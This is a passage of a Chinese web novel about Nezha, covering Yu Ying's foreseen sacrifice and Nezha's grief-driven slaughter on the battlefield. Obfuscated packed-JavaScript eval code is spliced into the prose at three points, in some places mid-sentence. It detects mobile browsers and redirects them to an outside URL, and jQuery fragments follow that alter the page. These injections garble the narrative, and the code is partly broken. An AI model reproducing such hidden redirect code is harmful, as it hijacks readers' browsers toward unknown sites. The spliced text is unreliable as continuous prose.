“我小时候顽劣,总闯祸,可我娘从不真的生气。”他低声道,“她只会一遍遍告诉我,‘哪吒,你要记得,这世上最不该辜负的,就是真心待你的人。’” 与应怔怔地看着他。 她忽然明白,为何哪吒能这样毫无保留地爱恨分明,因为他从小就被好好地爱着。 而她…… 她从未被母亲拥抱过。 可此刻,殷夫人的手温似乎还留在她的发间。 她很想哭。 · 殷素知站在院门口,手里提着一盏灯笼,暖黄的光映在她的脸上,像是夜色里唯一的温度。 “回来了?”她笑着迎上来,“饭已经做好了。” 与应望着她,上前一步,轻轻抱住了她。 殷素知一怔,随即温柔地回抱住她,轻轻拍了拍她的背:“好孩子。” 与应闭上眼,眼泪滑落。 她想,原来母亲的怀抱……是这样的。 原来被爱着的感觉,是这样的。 25. 爱别离 夕阳将云海染成血色,莲池的水面映着碎金般的光。 与应和哪吒并肩坐在崖边,脚下是万丈深渊,身后是渐沉的暮色。 哪吒仰头灌酒,喉结滚动,酒液顺着下颌滑落,鲜红的唇潋滟着水光。 他随手抹了一把,笑道:“等一切结束,咱们就开个酒肆,你酿酒,我打杂,怎么样?” 与应侧头看他,少年眉眼飞扬,眸底映着晚霞,亮得惊人。 她轻轻笑了:“好啊。” 声音很轻,像一片羽毛落在水面上,连涟漪都未曾激起。 哪吒并未察觉,仍旧兴致勃勃地规划着:“到时候,咱们在院子里种满桃树,再养几只小动物,你肯定喜欢。” “嗯。” “对了,还得给师父留个雅间,省得他总抱怨咱们不孝顺。” “好。” 她的应答总是这样简短,带着温柔的笑意,却从不真正参与进他的幻想里。 哪吒终于停下,挑眉看她:“你怎么光说‘好’?就没点自己的主意?” 与应轻轻眨了眨眼,伸手替他拂去肩头落花,轻声道:“你的主意都很好。” 哪吒哼笑一声,捏了捏她的脸:“敷衍。” 她任由他闹,目光却越过他的肩膀,望向远处的云海,那里正缓缓聚起一片暗色的云,隐约有雷光闪动。 劫云。 · 三日前,她独自去见了太乙真人。 金光洞内,莲香清冷。 太乙真人背对着她,拂尘轻扫莲台,声音平静得近乎残酷:“封神大劫将至,而你……是天道选中的容器。” “容器?”她的指尖无意识抚上脖颈的金纹。 “怨气、杀孽、因果……这些都需要一个归处。”太乙真人的目光落在她身上,带着几分悲悯,“你生来便是为了承载这些,待劫数终了……” 他没有说完,但意思已然明了。 她沉默了很久,才轻声问:“师父早就知道?” “从捡到你的那一刻起。” “哪吒……也知道吗?” 太乙真人摇头:“天命不可轻泄。” “所以,我活着就是为了等死?” 太乙真人叹息一声,抬手轻抚她的发顶,像在安抚一个迷途的孩子:“与应,这世上有些人注定是渡劫的舟,而非靠岸的船。” 她垂眸,看着自己掌心清晰的纹路—— 少年心性,不知天高地厚,不知天命难违,不知蜉蝣之身难以撼树,只狂傲的反抗,却害死了身边所有人。 阿长,母亲,阿宝,哪个不是为她所累,若是她当初选择和阿长一起走,他们也不会死,她也不会落到今天这个地步。 可为什么……为什么她一定要死?为什么是她来承受这一切?为什么她不能和普通人一样,平平淡淡,安安稳稳的生活? 难道那些因她而死的人,只是为了让她活到今天才去死的? 这不公平。 但她听到自己说:“若我死,能换多少人活?” 一声叹息。 “苍生。” · “与应?” 哪吒的声音将她拉回现实。 她转头,发现少年正皱眉看她,手里捏着一颗樱桃递到她唇边:“发什么呆?尝尝,甜不甜?” 樱桃鲜红欲滴,像是凝结的血珠。 她低头,就着他的手咬住,舌尖尝到一丝酸甜。 “甜吗?”他问。 她点头,却觉得喉间发苦。 哪吒得意地挑眉:“我就说嘛,咱们种的肯定比玉泉山的好吃,我还特意用法术催熟了呢。” 她望着他明亮的眼睛,忽然很想问他。 如果有一天我不在了,你会不会难过? 如果有一天你发现,我活着就是为了死去,你会不会恨这天道? 可她最终什么也没说,只是轻轻靠在他肩上,闭上眼睛。 夜风微凉,带着莲池的清香。 哪吒的身体僵了一瞬,随即放松下来,手臂环住她的肩膀,低声道:“累了?” “嗯。” “那睡会儿,我守着你。” 她无声地笑了笑。 多好啊,有人愿意守着她,哪怕只是片刻。 夜深时,哪吒睡着了。 与应轻轻起身,替他盖好外袍,独自走到莲池边。 池中莲花盛开,每一朵都皎洁如月,可她知道,这些莲花的根茎都扎在淤泥里。 就像她,看似鲜活,内里早已被怨气侵蚀得千疮百孔。 “决定了?” 太乙真人的声音在身后响起。 她没有回头,只是轻声道:“师父,我若死了,这具身体……还能不能留给他?” 太乙真人沉默片刻,叹息道:“痴儿。” 她笑了笑,伸手触碰池水,涟漪荡开,映出她破碎的倒影。 “我只是想……留点什么给他。” 太乙真人走到她身旁,拂尘轻扫,池水平静如镜,映出哪吒熟睡的侧脸。 少年在梦中仍皱着眉,唇齿间含糊地呢喃着她的名字。 “一切早已注定。” 她望着水中的哪吒,轻声道:“我知道。” 所以她从不参与他的幻想。 因为她比谁都清楚,那未来里,没有她。 · 翌日清晨,哪吒醒来时,发现与应正坐在崖边看日出。 晨光为她镀上一层金边,长发被风轻轻拂起,像是随时会消散的幻影,此刻的少女,跟平日里和他争论胜负的人截然不同。 她身形纤细,挺直的背如梅枝一般,却又似被雪压住枝头,脆弱非常。 他揉了揉眼睛,抓了把散落的乌发,走到她身旁坐下,发丝轻轻扫过她脸颊。 “起这么早?” 与应侧头看他,伸手抚上他的脸,指尖描摹他的眉眼,像是要刻进记忆里。 哪吒挑起一边眉:“怎么了?” 她收回手,眼里的悲戚转瞬即逝,又恢复了以往的笑脸。 “没什么,就是觉得……你长得真好看。” 哪吒耳根一热,心想这人真是愚笨,平时睡在一起,一同绾过头发,带她去了那么多地方,吃了那么多东西,她居然才发现自家师兄惊为天人? 这么想着,他别过脸哼道:“现在才发现?” 与应笑而不语,缓慢的眨着眼凝着少年鲜活的、挑起的唇角,明明准备认命的心却动摇了。 如果……如果我能做个普通人的话,如果我能活下来,我们就去开一家酒肆,就像他说得那样,种桃树,酿酒,养毛绒绒的小动物,我们还能…… 她轻轻笑了,惹来少年羞恼的动作,他捏住她的脸,反复揉搓着,还恶狠狠的咬了一口她的脸颊。 与应却不像从前那般,只是摸了摸脸上带着水液的牙印,看着远处, 那里,朝阳正冉冉升起,照亮了整个乾元山,而她看着光明,却知道自己正一步步走向黑暗。 · 哪吒总觉得与应最近有些奇怪。 她总是看着他,目光柔软得像一泓春水,却又带着某种他读不懂的情绪,但每次他顺着目光看过去的时候,她又恢复以往的模样,笑着来扯他头发。 有时候,他半夜醒来,会发现她坐在莲池边,指尖轻点水面,涟漪一圈圈荡开,映着她苍白的脸。 “怎么不睡?”他问。 她回头冲他笑:“睡不着。” 他便走过去,将她冰凉的手拢在掌心,故意凶巴巴地说:“下次叫我一起。” 她笑着应好,可下一次,她还是会独自醒来,独自坐在池边,独自望着水中破碎的月亮,依旧什么都不说。 他又做梦了。 梦里,他站在尸山血海之上,混天绫浸透鲜血,乾坤圈嗡鸣震颤。 天空是暗红色的,像是被烈火灼烧过后的余烬,云层间雷光翻涌,却迟迟不肯落下。 远处,无数天兵天将列阵而立,旌旗猎猎,战鼓轰鸣。 他听见有人高喊:“李哪吒!还不速速伏诛!” 他低头看着自己的手,掌心纹路被血染得模糊,指节处覆着狰狞的伤疤,似乎是无数次厮杀留下的痕迹。 这不是他的手。 至少,不该是现在的他的手。 他猛然抬头,望向水洼中倒映的自己,眉间戾气深重,眼中血丝密布,唇角噙着一抹近乎疯癫的笑。 这个“他”,陌生得可怕。 梦里的战争永无止境。 他踏碎南天门,掀翻凌霄殿,将那些高高在上的神仙一个个打落云端。 没有人能拦住他。 也没有人敢拦他。 可当他站在昆仑之巅,俯瞰芸芸众生时,却觉得空荡。 好像少了什么。 少了谁? 他皱眉思索,却怎么也想不起来。 梦境的最后,他回到了乾元山。 莲池依旧,莲花盛开,可池边再也没有那个指尖点水的身影。 太乙真人站在金光洞前,目光复杂地看着他:“哪吒,该放下了。” 他冷笑:“放下什么?” 太乙真人叹息:“她已应劫,你何必执着?” 她?谁?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647630|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他心头猛地一痛,像是被人生生剜去一块肉,远处似乎有道鹅黄的身影,但他看去时又空茫一片。 不对……不对,哪里都不对。 “师父……我是不是……还有个师妹?”他听见自己颤抖的声音。 老道人摇着头:“非也,老道只有你一个徒弟。” 哪吒惊醒时,冷汗浸透衣衫,与应正靠在他肩头熟睡,呼吸清浅,睫毛在眼下投下一片阴影。 他伸手,小心翼翼地触碰她的脸颊。 温热的,真实的。 还好,只是梦。 可梦里的空虚感太过真实,真实到让他心慌,他轻轻将她搂紧,低头嗅着她发间的莲香,试图驱散那莫名的恐惧。 与应迷迷糊糊睁开眼,有些不知所措,却还是抱紧少年的腰。 “……怎么了?” 他摇头,声音有些哑:“做了个噩梦。” 梦里的世界,没有她的世界,他不喜欢,便毁了一切。 她轻轻眨了眨眼,伸手捧住他的脸,拇指轻轻擦过他眼尾的红痕,安慰道:“我在呢。” 哪吒握住她的手腕,将她的手按在自己心口:“与应。” “嗯?” “你会一直在我身边,对吧?” 她怔了怔,随即笑道:“当然。” 可她的眼神却飘向远处的云海,那里,劫云正在聚集。 她知道,她的天命来了。 封神大劫将至,而她生来便是为了应劫,怨气、杀孽、因果……这些都需要一个归处。 她便是那个归处。 与应轻轻挣开哪吒的手,起身走到莲池边。 池水映出她的倒影,脖颈上的金纹已蔓延至下颌,像是一张逐渐收紧的网,她伸手触碰水面,涟漪荡开,倒影破碎。 “与应?”哪吒的声音在身后响起。 她没有回头,只是轻声道:“哪吒,如果有一天我不在了,你会怎么办?” 少年顿时皱眉头,大步走到她身旁:“胡说八道什么?” 她笑了笑,目光依旧落在水面上:“我是说如果。” “没有如果。”哪吒捏住她的下巴,强迫她直视自己,“你会一直在我身边,你会拉住我,你答应过的。” 与应望着他倔强的眉眼,眼眶有些酸涩。 可她最终只是轻轻点头:“嗯,我答应过。” · 与应的身体正在消散。 阵法吞噬着她的血肉,每一道金纹亮起,都像是一把钝刀刮过魂魄,她疼得发抖,却连惨叫都发不出——怨气被抽离的同时,她的五感正在迅速溃散。 她快死了。 不是轰轰烈烈的战死,不是悲壮决绝的殉道,而是像一滴水落入火中,无声无息地蒸干。 原来这就是她的结局。 恍惚间,她看见记忆里的雪夜。 小小的黎应跪在雪地里,掌心被断剑割得血肉模糊,鲜血在雪上洇开,像一朵枯萎的花。 她咬着牙,一遍遍挥剑,哪怕手臂已经冻得青紫,哪怕眼泪结成冰渣挂在睫毛上。 “为什么……不放弃?”记忆外的与应轻声问。 可小女孩听不见,她只是固执地挥剑,仿佛只要练得够狠、够疼,就能换来廊下那个女人—— 她的母亲一个回眸。 但褚云玺始终没有回头。 直到天黑透,管家才来传话:“夫人说,小姐若执意要练,就去祠堂跪着练。” 小黎应眼睛亮起来,跌跌撞撞往祠堂跑,祠堂好啊,祠堂有火盆,最重要的是,那里挂着母亲从前的战甲。 与应剧烈颤抖,不是阵法带来的痛,而是她终于看到母亲当时绷紧的背影,那袭长袍下,肩膀在难以察觉地发抖。 “您……其实回头了对吗?”即将消散的嘴唇翕动着,“您只是,不敢让我看见……” 可没有人能回答她。 . 太乙真人手中的拂尘一滞。 他皱眉望向金光洞外翻涌的云海,总觉得哪里不对。 这几日,他时常恍惚,仿佛记忆里被人生生挖去一块,可细想时,却又什么都抓不住。 罢了…… 他叹息着摇头,正要走的时候袖中却飘落一条绫带。 他取天地暮云所织,一红一白,一战一守,被他分别赠予两位徒弟。 他是不是对与应说了什么? 外面,云层中浮现一只巨大的,冰冷的眼睛注视着这里,万千规则在其中流转。 似乎有什么东西因此改变了。 太乙真人收起往生绫。 自己怕不是老糊涂了…… 26. 第 26 章 哪吒觉得自己快疯了。 每一次指尖即将触到与应残留的痕迹,都会被无情打断。 在洞府发现她遗落的发带,姜子牙的传令符就燃起,梦中刚要看清她的脸,战鼓便轰然擂响。 天道仿佛在戏耍他,给一丝微光,又亲手掐灭。 哪吒杀红了眼,战甲浸透血浆,发丝黏在额前,眉间朱砂红得滴血,他却任由鲜血淌过脸颊,活似地狱爬出的恶鬼。 “杀了哪吒!”商将嘶吼着扑来,长刀劈面。 哪吒冷笑,火尖枪横扫,洞穿咽喉的刹那,一物滑落发间。 那条赤霞云织就的发带。 与应用种一辈子萝卜换来的生辰礼,烙着金绣莲纹。 它飘摇着,砸进血泊,鲜红迅速被暗沉的血吞噬,染成污浊的黑褐。 “与应——” 哪吒瞳孔骤缩,猛地探手去抓,混天绫绞碎射来的冷箭,绣球将偷袭者撞成肉泥。 她给他的东西。她留下的最后念想。就这么……脏了。 记忆碎片尖锐地刺入脑海。 樱桃林中光影跳跃,少女提着裙摆回头笑喊:“哪吒!来追我呀!” 溪水里她浑身湿透,眼睛亮得惊人:“都怪你!樱桃都没了!” 莲池边她指尖点水,涟漪荡开温柔的侧影:“我会一直陪着你的。” 骗子。全是骗子。 “三太子!”亲兵在嘶喊。 哪吒死死盯着血泊里飘摇的发带,那点金色莲纹正被污秽吞没,越来越模糊。 就像她一样。抓不住,留不下。 他闭眼,再睁开时,眸底只剩冰封的杀意。 “迎敌。” 之后的战斗,他记不清了。 只记得每一枪都刺得很深,每一击都用尽全力,仿佛要把这十四年来积攒的疯狂全部发泄出来。 他杀得兴起时,甚至能听见骨骼碎裂的脆响,看见敌人眼中的恐惧。 可他却想起与应最后时刻的眼神,不是恐惧,而是一种近乎温柔的悲伤,好像早就知道会是这样结局。 那个夜晚他的话也在耳边回响:“我有你呢。你会拉住我的,对吧?” 他正一步步变成梦中那个尸山血海里的身影,伐纣先行官,一个孤独的杀神。 战后,他回到原地。 发带已被践踏得面目全非,唯有那朵金莲绣纹,顽强地透出一丝痕迹。 她娇蛮的声音仿佛在耳边炸开:“我好不容易织的!你居然弄脏了!今天我自己驾云下山吃东西,才不要和你一起!” 声音鲜活,眼前却只有黏腻的血浆和被碾碎的尸骸,再没有踏着落花的少女,用绵软的帕子为他擦拭掌心血污。 只有遍地的、黏腻恶心的血,和战败者被碾碎的尸骸。 “哪吒。”太乙真人的声音在身后响起。 哪吒没有回头,指节因攥紧发带而发白,嘶哑道:“师父,我受不了了。” 拂尘轻扫,金莲自虚空绽放:“她还在。” “只是不在此时空。” 哪吒猛地抬头,眼中血丝狰狞:“什么意思?” 太乙真人望向天际翻涌的劫云:“她去了未来。” “你要做的,是活到那时。” · 十四年。 哪吒靠着这句话活了十四年。 他数着日子,像数着刀刃滴落的血珠。相识不过两月,却要用十余年等待重逢。 多么可笑。多么残忍。 战场上,他成了真正的杀神,商军闻风丧胆,称三太子是天生的煞星。 他嗤笑,他们没见过他那掏心掏肺的小师妹,脸上沾着血,却拉他在血地里吃糖葫芦。 “三太子,前方发现敌军斥候。”副将不敢直视他的眼睛。 哪吒站在崖边,俯瞰谷中蝼蚁般的商军。 “全杀了。” 副将迟疑:“可是姜丞相……” 哪吒侧目,漆黑的眸子凝着霜。 副将一个寒噤,仓惶退下。 他带着一身血腥归来,花瓣自伤口飘落,顷刻染成血莲,姜子牙皱眉:“哪吒,你戾气太重。” 哪吒冷笑,转动枪柄:“重吗?” 枪尖挑起敌将头颅,血顺着枪杆流下,染红他的指节。 “我觉得还不够。” 不够狠,不够凶,不够让天道记住,他哪吒,绝非任人摆布的棋子。 他看着枪尖上的头颅,忽地笑了,看,上战场就该用枪,能把头插在枪尖上,等她回来,得教教她用枪。 夜深人静,他取出那条褪色的发带,红云黯淡,唯有金线绣的莲花灼灼如初,像是她留下的最后一点温度。 指尖摩挲着绣纹。 “师兄,这发带可要收好,我答应种一辈子萝卜才换来的。” 现在,发带脏了,她不见了。 只剩他一人,在血雨腥风里,等一个虚无缥缈的承诺。 帐外喧哗,杨戬的声音传来:“哪吒,庆功宴等你。” 哪吒收起发带,杨戬看到他苍白的脸和眼底的血丝:“又没睡?” “睡了。”哪吒淡淡道,“做了个梦。” 庆功宴上觥筹交错,哪吒坐在角落,一杯接一杯灌酒,杨戬按住他的杯:“别喝了。” “放手。” “你这样,与应看到会难过。” 酒杯在掌心碎裂,瓷片刺入皮肉,却无血可流。 “她看不到。”他声音嘶哑,“她死了。” 所有人都说她魂飞魄散,他不能信,也不敢信。 杨戬欲言,哪吒忽觉天旋地转…… 当视野再次清晰时,哪吒发现自己站在云端。 九重天阙,仙雾缭绕,金碧辉煌的殿宇悬浮于云海之上,霞光万丈。 他站在云端仙宫之中,身着金甲,腕缠红绫,眉间一道红痕,金瞳冰冷如霜。 这不是他,至少不是现在的他。 “七苦元君到!” 珠帘轻响,身影步入。 雪衣金纹,墨发如瀑,眉心一点朱砂,眸色浅淡如琉璃,腕缠七颗佛珠。 与应。 可她眼神陌生至极,恭敬疏离。她盈盈下拜:“参见元帅。” 哪吒想喊她,想冲过去抓住她质问。 梦中的“元帅”却不受控,淡漠抬手:“元君不必多礼。” 声音冰冷。 与应直起身,浅淡的眸子望来,无悲无喜:“灵山送来请帖,邀元帅赴宴。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647631|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她双手奉上金帖,指尖与他相触,冰凉刺骨。 哪吒快疯了!他拼命挣扎,想撕碎这梦境!想摇晃她肩膀嘶吼:我是哪吒!你的师兄! 梦中的“元帅”只接过请帖:“有劳元君。” 与应颔首,转身离去,衣袂飘飘,无一丝留恋。 “与应!!”哪吒终于挣脱桎梏,嘶吼出声! 她脚步一顿,未回头:“元帅还有何吩咐?” 声音平静如死水。 哪吒冲到她面前,死死抓住她手腕! “你看看我!” “我是哪吒!” 与应抬眸,琉璃般的眼瞳映出他扭曲的面容,她一根根掰开他的手指,轻轻笑了。 “元帅说笑了。” “小仙当然认得您。” · 西岐将士发现三太子变了。 他常立溪边,对着波光露出诡异的笑,将铜镜擦得锃亮,端详许久,又突然砸碎。 “不对……”碎片映出他扭曲的脸,“不像她……她不是这样的……” 黄天化在练兵场找到发呆的哪吒:“你到底在找什么?” 哪吒瞳孔缓慢聚焦,指尖无意识摩挲腕间发带:“她的眼睛……”声音飘忽,“该是暖的。” 他开始收集琉璃。 透明的、淡青的、琥珀色的,堆满帐中檀木箱。深夜,玉石相击的脆响和压抑喘息交织,如同受伤困兽舔舐伤口。 哪吒把自己藏进琉璃堆里,藏进她的眼睛里,试图将那些冷漠疏离抛之脑后,可梦是会醒的,他只要睁开眼,就能看到清澈的琉璃上映出自己颓废的面容。 不对,她的眼睛不是这样的,应该是清浅的、含着笑意的,而不是……而不是这等凡俗的死物。 翌日清晨,士兵在河边发现漂浮的琉璃碎片,哪吒跪在浅滩,冰凉的河水漫过战甲。 “元帅说笑了。”他对水中扭曲的倒影喃喃,“小仙当然认得您——” 混天绫绞碎垂柳,柳叶纷飞间,哪吒又安静下来,他拾起湿透的发带按在眼角,仿佛能接住根本不存在的泪水。 多可笑,心爱之人离去,他连一滴泪都流不出,一滴血都淌不下,甚至……不能随她而去。 他的命,还要留到伐纣结束。 “你看……”他对虚空轻笑,“我学得像不像?” 后来,士兵常见先锋官独自演练诡异的对话,时而温柔低语,时而厉声呵斥,最终总以长枪贯穿虚空的暴烈收场。 月下对影独酌,帐中反复练习“参见元帅”的呓语,成了他的常态。 直到伐纣大军开拔前夜,姜子牙放下一枚玉简,太乙真人的朱砂小字:“七苦劫尽,方见菩提。” 哪吒盯着那个“苦”字,看了整夜。 晨曦初露,他低笑出声,指尖燃起三昧真火,玉简化作灰烬簌簌落下。 “师父啊……”灰烬从他指缝飘散,“弟子早已在苦海里了。” 出征号角响起时,哪吒在擦拭火尖枪。 阳光透进营帐,照不亮他寒星般的眸子,所有疯癫似乎都被淬炼成冰冷的锋芒。 “走了。” 他拎枪走向帐外,与阳光相接的刹那,极轻地吐出三个字:“……未来见。” 27. 第 27 章 哪吒又梦见她了。 这一次,他站在一片无边的莲池中央。 水面倒映着天光,莲叶层层叠叠,像是铺开的碧色绸缎,远处有白鹤掠过,羽翼划破寂静,荡开一圈圈涟漪。 与应坐在莲池边缘,赤足浸在水中,衣袂垂落,被风轻轻掀起。 她低头望着水面,指尖拨弄着一朵半开的金莲,神情安静得近乎遥远。 哪吒想喊她,可喉咙像是被什么堵住,发不出声音,他想冲过去,可双脚却像是陷在泥沼里,动弹不得。 “与应……”他挣扎着,声音嘶哑得不成调。 她似乎听见了,微微偏头,目光朝他这边投来,却又像是穿透了他,望向更远的地方。 “三太子。”她轻轻开口,声音如清泉击石,却冷得刺骨,“您不该来这里。” 哪吒浑身发冷。 这不是梦里的天庭,不是战场,不是任何他熟悉的地方。 可她的眼神依旧陌生,依旧疏离,仿佛他只是个误入此地的过客。 “与应!”他终于挣开桎梏,踉跄着朝她奔去,水面被他踏碎,溅起的水花打湿了衣摆,“你看看我!是我!哪吒!” 她微微蹙眉,似乎对他的失态感到困惑,却依旧端坐如莲,连指尖都没动一下。 “三太子醉了。”她淡淡道,“小仙送您回去。” “我没醉!” 他几乎是吼了出来,伸手去抓她的手腕,却在触碰的瞬间,她的身影如烟般散开,又在几步之外重新凝聚。 她依旧坐在那里,连姿势都没变,仿佛刚才的一切只是他的幻觉。 “您该醒了。”她抬眸,琉璃般的眼睛里映出他狼狈的模样,“梦该醒了。” 她的眼神太冷了,冷得让他想起战场上凝结的血,想起深夜里刺骨的寒风,想起那些独自熬过的、没有她的十四年。 “为什么……”他声音发抖,“为什么装作不认识我?” 与应轻轻叹了口气,像是无奈,又像是怜悯。 “执念太深,会入魔的。” “入魔?”他突然笑了,笑声嘶哑,像是从胸腔里挤出来的,“我早就入魔了!” 他猛地抬手,混天绫将整片莲池搅得天翻地覆,金莲破碎,碧叶纷飞,水面倒映的天空被撕成碎片,两人的倒影被搅碎。 “你答应过会一直陪着我!”他盯着她,眼底猩红一片,“你说过的!” 与应静静地看着他,任由狂风掀起她的衣袂,发丝凌乱地拂过脸颊,那双眸子里依旧空茫无波。 “我已是灵山中人。”她轻声道。 “骗子!”他几乎是从牙缝里挤出这两个字。 她摇了摇头,站起身,衣袍不染纤尘,仿佛这片混乱与她毫无关系。 “梦该醒了。” 她的身影开始变得透明,像是晨雾被阳光驱散,一点点消散在风中。 “不……不!”哪吒冲过去,想要抓住她,可指尖穿过的只有虚无。 “与应!别走!别走——” 他猛地睁开眼。 营帐内一片漆黑,只有帐外篝火的微光透过帘缝漏进来,在地上投下斑驳的影子。 冷汗浸透了里衣,呼吸仍乱得不成调,他缓缓抬手,摸到眼角一片湿凉。 “又是……梦?” 他低喃着,指尖无意识地摩挲着枕边的发带,褪色的红缎上,金线绣的莲花依旧鲜明,像是在嘲笑他的痴妄。 帐外传来守夜士兵的低声交谈,偶尔夹杂着几声笑。 夜风拂过,带来远处战马的响鼻声。 一切都很真实。 可梦里的莲池,梦里的她,却比现实更清晰。 哪吒缓缓攥紧发带,指节因用力而泛白。 “未来见……”他低声重复着,像是诅咒,又像是誓言。 “我一定会找到你。” · 战鼓擂响,烽烟再起。 哪吒站在阵前,战甲上还残留着昨夜的露水,火尖枪斜指地面。 商军铁骑如黑潮般压来,马蹄踏碎尘土,刀光映着朝阳,刺得人睁不开眼。 “杀——!” 敌军将领的嘶吼声撕破长空,箭雨如蝗,遮天蔽日。 哪吒冷笑,枪尖一挑,混天绫横扫而出,赤红的绸缎绞碎飞箭,断裂的脆响连成一片。 他纵身跃起,枪出如龙,直取敌将咽喉。 “噗嗤——” 鲜血喷溅,染红了他的半边脸颊。 温热的液体顺着下颌滴落,他却连眼都没眨,反手一枪贯穿背后偷袭者的胸膛。 战斗,杀戮,鲜血。这些早已成为他生命的一部分。 可今天不一样。今天,他的每一次挥枪都带着近乎疯狂的执念。 “未来见……” 枪尖刺穿盾牌,扭曲的刺耳声中,他仿佛又看见梦里的莲池,看见她疏离的眼神。 “我会找到你……” 火尖枪横扫,三名敌兵被拦腰斩断,内脏混着血水泼洒一地。 惨叫声中,哪吒踏着尸骸前行,眼底猩红一片。 “元帅说笑了。” 她的声音在耳边回响,轻飘飘的,像是一句无关痛痒的客套。 “小仙当然认得您。” “闭嘴!” 混天绫猛地炸开,绞碎周围五丈内的所有敌兵,血肉横飞间,他喘着粗气,枪尖深深插入地面。 战场安静了一瞬,商军惊恐后退,西岐将士也怔在原地。 他们的先锋官站在血泊中央,发带不知何时松开了,黑发凌乱地披散在肩头,他低着头,肩膀微微发抖,像是在哭,又像是在笑。 “哪吒……”雷震子皱眉,上前一步。 可下一瞬,哪吒猛地抬头。 那双眼睛里,没有泪,只有燎原的火。 “不够……”他喃喃自语,拔出火尖枪,“还远远不够……” 他要杀到天道都记住他的恨。他要战到时空都为之震颤。 他要活着,活到那个有她的未来。哪怕要踏着尸山血海走去! “来啊!”他狂笑出声,枪指苍穹,“不是要杀小爷吗?一起上!” · 哪吒破阵,流血漂橹。 · “还有谁?” 他的声音不大,却传遍了整个战场,商军阵中无人应答,只有战马不安地嘶鸣。 姜子牙在后方看得分明,哪吒的杀意太重,重到连周军将士都不敢靠近。 那杆火尖枪已经不分敌我,但凡靠近者,皆成枪下亡魂。 “要不要……” “不必。”姜子牙摇头,“让他杀。” 哪吒站在血泊中,觉得很可笑,他杀了这么多人,可心里那个空洞却越来越大。 与应的影子在他眼前晃动,时而清晰时而模糊。 “你在看吗?”他对着天空喃喃自语,“看到我现在这副模样了吗?” 无人应答。 远处传来号角声,商军开始撤退,哪吒没有追,只是站在原地,任由血水浸透战靴。 杨戬走过来,递给他一块帕子。 “擦擦脸。” 哪吒没接,他低头看着自己的手,指缝里都是凝固的血。 “你说,”他突然开口,“她要是看见我这样,会说什么?” 杨戬沉默片刻,想起那个踏着满地落花为少年擦手的少女,声音温软,很快的安抚了眼神晦暗的少年。 “她会说,脏死了。” 哪吒笑了,笑得肩膀都在发抖。 “是啊,她最见不得这些脏东西了。” 可笑着笑着,声音就哑了。 “我控制不住,杨戬。”他的声音从指缝里漏出来,“我一拿起枪,就想起她说“我会一直陪着你的”。可她现在在哪?在哪?!” 杨戬没有说话,他知道此刻任何言语都是徒劳。 夜幕降临,军营里篝火点点。 哪吒独自坐在河边,将染血的战甲一件件脱下,扔进水里。 血丝在河水中晕开,像一朵朵凋零的花。 他想起初见时,少女指尖点水,那时他还嘲笑她胆小鬼,连水都怕。 此刻清凌凌水面中的倒影映出的,只有他独自一人的身影,再没有那个扯他头发的少女。 那时你在池边枯坐数个日夜时,在想什么呢?是为自己即将到来的天命?还是为他们不能相守的,可笑悲惨的未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647632|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 你那时明明很难过,却还要照顾我的情绪,若是我能早点注意到的话…… “三太子!紧急军情!” 亲兵的喊声打断了他的回忆,哪吒闭了闭眼,再睁开时,又是那个杀伐果决的先锋官。 “说。” “商军派来了新的将领,说是…说是专门来会会您的。” 哪吒系上新的发带,依然是红色,却不是原来那条。 “好啊。”他提起火尖枪,枪尖在月光下泛着冷光,“正好,我还没杀够。” 这一战,他要把所有痛苦、所有不甘,都化作枪尖的锋芒。 既然天道不仁,那他就杀出一条血路,直到找到她为止。 · “报!商军先锋已至十里外!” “来的何人?“ “自称九幽魔将,说是……”传令兵声音发颤,“说是带了份大礼给您。” 营帐外传来骚动,哪吒掀帘而出。 校场中央摆着个檀木箱子,周军将士围成一圈,却无人敢上前。 箱缝里渗出暗红的液体,在泥地上蜿蜒成线。 哪吒闻到了熟悉的气息。他的脚步第一次出现了迟疑。 “打开。” 亲兵战战兢兢地挑开铜锁,箱盖掀开的瞬间,满场寂静。 箱中堆满了樱桃。鲜红的、熟透的樱桃,浸泡在血水里,像无数颗凝固的血珠。 最上面那层樱桃排成一个歪歪扭扭的字: “应”。 藕荷色的身影浮现,双髻淡青发带的少女坐在箱子上笑着看他,指尖捏着颗红润樱桃,似在嗔怪道:“不是最喜欢我喂的?张嘴呀。” 现在,这些樱桃沾着不知是谁的血,静静躺在箱子里,散发着甜腻的腥气。 “哈……” 哪吒低笑出声,笑声越来越大,最后变成了近乎癫狂的嘶吼。混天绫将整个木箱绞得粉碎,樱桃和木屑四溅。 “他在哪?” 传令兵吓得跪倒在地:“就、就在黑石谷……” 哪吒的身影已经消失在原地,只留下一地血樱。 · 